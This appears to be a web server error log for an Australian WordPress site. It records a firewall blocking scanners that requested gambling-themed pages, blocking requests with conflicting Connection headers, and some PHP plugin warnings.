[Thu Apr 09 07:20:47.615502 2026] [:error] [pid 20641:tid 20651] [client 195.201.199.99:56722] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adbiz23LksBSF-6rlkaS3wAAAMY"]
[Thu Apr 09 07:20:50.234215 2026] [:error] [pid 20641:tid 20665] [client 195.201.199.99:57058] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adbi0m3LksBSF-6rlkaS5AAAANQ"]
[Thu Apr 09 07:20:52.851707 2026] [:error] [pid 22627:tid 22650] [client 195.201.199.99:57364] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adbi1Pr8glsF_jKQpr5LvgAAARQ"]
[Thu Apr 09 07:20:55.317950 2026] [:error] [pid 20537:tid 20605] [client 195.201.199.99:57644] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adbi18STjpSeyrxLmN4xhgAAAIc"]
[Thu Apr 09 07:20:57.900162 2026] [:error] [pid 22627:tid 22640] [client 195.201.199.99:57954] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adbi2fr8glsF_jKQpr5L2gAAAQo"]
[Thu Apr 09 07:21:00.419318 2026] [:error] [pid 22627:tid 22638] [client 195.201.199.99:58318] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adbi3Pr8glsF_jKQpr5L3gAAAQg"]
[Thu Apr 09 07:21:02.917427 2026] [:error] [pid 20537:tid 20598] [client 195.201.199.99:58622] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adbi3sSTjpSeyrxLmN4xkAAAAIA"]
[Thu Apr 09 07:21:49.144844 2026] [:error] [pid 20641:tid 20655] [client 195.201.199.99:58922] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adbjDW3LksBSF-6rlkaTVQAAAMo"]
[Thu Apr 09 07:21:51.655963 2026] [:error] [pid 20537:tid 20606] [client 195.201.199.99:35310] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adbjD8STjpSeyrxLmN4x1gAAAIg"]
[Thu Apr 09 07:21:54.143220 2026] [:error] [pid 20641:tid 20655] [client 195.201.199.99:35590] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adbjEm3LksBSF-6rlkaTYgAAAMo"]
[Thu Apr 09 07:21:56.804662 2026] [:error] [pid 20535:tid 20564] [client 195.201.199.99:35902] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adbjFAWiD9hWnEUHWdNZRgAAABQ"]
[Thu Apr 09 07:21:59.632612 2026] [:error] [pid 20641:tid 20649] [client 195.201.199.99:36234] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adbjF23LksBSF-6rlkaTZgAAAMQ"]
[Thu Apr 09 07:22:02.421880 2026] [:error] [pid 20536:tid 20592] [client 195.201.199.99:36500] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adbjGsPqyUJM1s3YpIY8cwAAAFU"]
[Thu Apr 09 07:22:05.254185 2026] [:error] [pid 22627:tid 22633] [client 195.201.199.99:36860] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adbjHfr8glsF_jKQpr5MagAAAQM"]
[Thu Apr 09 07:22:07.833369 2026] [:error] [pid 20535:tid 20568] [client 195.201.199.99:37216] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adbjHwWiD9hWnEUHWdNZWgAAABg"]
[Thu Apr 09 07:22:10.528715 2026] [:error] [pid 20641:tid 20653] [client 195.201.199.99:37494] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adbjIm3LksBSF-6rlkaTdAAAAMg"]
[Thu Apr 09 07:22:13.062230 2026] [:error] [pid 20641:tid 20645] [client 195.201.199.99:37742] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adbjJW3LksBSF-6rlkaTfwAAAMA"]
[Thu Apr 09 07:22:15.588743 2026] [:error] [pid 22627:tid 22651] [client 195.201.199.99:38042] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adbjJ_r8glsF_jKQpr5MjAAAARU"]
[Thu Apr 09 07:22:18.360151 2026] [:error] [pid 20536:tid 20576] [client 195.201.199.99:38328] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adbjKsPqyUJM1s3YpIY8kgAAAEU"]
[Thu Apr 09 07:22:21.222119 2026] [:error] [pid 22627:tid 22633] [client 195.201.199.99:38624] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adbjLfr8glsF_jKQpr5MmQAAAQM"]
[Thu Apr 09 07:22:23.848607 2026] [:error] [pid 20535:tid 20550] [client 195.201.199.99:38964] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adbjLwWiD9hWnEUHWdNZeAAAAAY"]
[Thu Apr 09 07:22:26.501523 2026] [:error] [pid 20535:tid 20547] [client 195.201.199.99:39256] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adbjMgWiD9hWnEUHWdNZgAAAAAM"]
[Thu Apr 09 07:22:28.859434 2026] [:error] [pid 22627:tid 22651] [client 195.201.199.99:39472] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adbjNPr8glsF_jKQpr5MpgAAARU"]
[Thu Apr 09 07:22:31.642319 2026] [:error] [pid 20536:tid 20573] [client 195.201.199.99:39746] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adbjN8PqyUJM1s3YpIY8oAAAAEI"]
[Thu Apr 09 07:22:34.302304 2026] [:error] [pid 22627:tid 22635] [client 195.201.199.99:39976] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adbjOvr8glsF_jKQpr5MrQAAAQU"]
[Thu Apr 09 07:22:37.157877 2026] [:error] [pid 20537:tid 20605] [client 195.201.199.99:40204] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adbjPcSTjpSeyrxLmN4yCQAAAIc"]
[Thu Apr 09 07:22:39.643380 2026] [:error] [pid 20535:tid 20558] [client 195.201.199.99:40438] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adbjPwWiD9hWnEUHWdNZuwAAAA4"]
[Thu Apr 09 07:22:42.226995 2026] [:error] [pid 22627:tid 22643] [client 195.201.199.99:40712] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adbjQvr8glsF_jKQpr5MuAAAAQ0"]
[Thu Apr 09 07:23:29.278428 2026] [:error] [pid 20537:tid 20608] [client 195.201.199.99:40980] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adbjccSTjpSeyrxLmN4yYQAAAIo"]
[Thu Apr 09 07:23:32.170924 2026] [:error] [pid 22627:tid 22637] [client 195.201.199.99:45132] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adbjdPr8glsF_jKQpr5NaQAAAQc"]
[Thu Apr 09 07:23:34.794090 2026] [:error] [pid 22627:tid 22645] [client 195.201.199.99:45428] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adbjdvr8glsF_jKQpr5NdAAAAQ8"]
[Thu Apr 09 07:23:37.417532 2026] [:error] [pid 20536:tid 20574] [client 195.201.199.99:45692] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adbjecPqyUJM1s3YpIY80QAAAEM"]
[Thu Apr 09 07:23:40.022710 2026] [:error] [pid 20641:tid 20668] [client 195.201.199.99:45916] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adbjfG3LksBSF-6rlkaUBgAAANc"]
[Thu Apr 09 07:23:42.919327 2026] [:error] [pid 20536:tid 20572] [client 195.201.199.99:46146] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adbjfsPqyUJM1s3YpIY82AAAAEE"]
[Thu Apr 09 07:23:45.454733 2026] [:error] [pid 20536:tid 20576] [client 195.201.199.99:46344] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adbjgcPqyUJM1s3YpIY84gAAAEU"]
[Thu Apr 09 07:23:47.970289 2026] [:error] [pid 20641:tid 20660] [client 195.201.199.99:46532] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adbjg23LksBSF-6rlkaUFgAAAM8"]
[Thu Apr 09 07:23:50.723800 2026] [:error] [pid 20537:tid 20617] [client 195.201.199.99:46720] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adbjhsSTjpSeyrxLmN4ycQAAAJM"]
[Thu Apr 09 07:23:53.313702 2026] [:error] [pid 20536:tid 20589] [client 195.201.199.99:46960] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adbjicPqyUJM1s3YpIY88wAAAFI"]
[Thu Apr 09 07:23:55.721163 2026] [:error] [pid 22627:tid 22654] [client 195.201.199.99:47198] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adbji_r8glsF_jKQpr5NkAAAARg"]
[Thu Apr 09 07:23:58.263773 2026] [:error] [pid 20641:tid 20647] [client 195.201.199.99:47446] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adbjjm3LksBSF-6rlkaUKQAAAMI"]
[Thu Apr 09 07:24:01.146964 2026] [:error] [pid 22627:tid 22649] [client 195.201.199.99:47770] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adbjkfr8glsF_jKQpr5NoAAAARM"]
[Thu Apr 09 07:24:03.829908 2026] [:error] [pid 20641:tid 20658] [client 195.201.199.99:48136] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adbjk23LksBSF-6rlkaUMAAAAM0"]
[Thu Apr 09 07:24:06.358029 2026] [:error] [pid 22627:tid 22646] [client 195.201.199.99:48446] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adbjlvr8glsF_jKQpr5NsQAAARA"]
[Thu Apr 09 08:21:54.848709 2026] [:error] [pid 22627:tid 22642] [client 88.216.251.240:52893] [client 88.216.251.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adbxIvr8glsF_jKQpr6BiQAAAQw"]
[Thu Apr 09 12:38:03.604504 2026] [:error] [pid 24624:tid 24634] [client 124.156.157.91:39696] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adctK-4Jn-WvK1ZBTvhVvQAAAMg"]
[Thu Apr 09 12:56:03.284710 2026] [proxy_fcgi:error] [pid 24517:tid 24589] [client 103.4.122.14:58646] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Apr 09 12:56:21.377027 2026] [proxy_fcgi:error] [pid 24624:tid 24640] [client 103.4.122.14:58826] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Apr 09 12:56:27.519748 2026] [proxy_fcgi:error] [pid 24515:tid 24533] [client 103.4.122.14:59070] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Apr 09 14:21:00.736546 2026] [:error] [pid 24927:tid 24947] [client 51.83.238.207:54930] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "addFTDXObuzEuw8mNJtvLgAAARE"]
[Thu Apr 09 14:21:03.994459 2026] [:error] [pid 24927:tid 24945] [client 51.83.238.207:37926] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "addFTzXObuzEuw8mNJtvNwAAAQ8"]
[Thu Apr 09 14:21:08.684439 2026] [:error] [pid 24927:tid 24946] [client 51.83.238.207:60766] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "addFVDXObuzEuw8mNJtvPgAAARA"]
[Thu Apr 09 14:21:11.296890 2026] [:error] [pid 24516:tid 24560] [client 51.83.238.207:60768] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "addFV9hW7vSS-UkeWCX1YAAAAE0"]
[Thu Apr 09 14:21:16.354250 2026] [:error] [pid 24927:tid 24941] [client 51.83.238.207:60782] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "addFXDXObuzEuw8mNJtvTwAAAQs"]
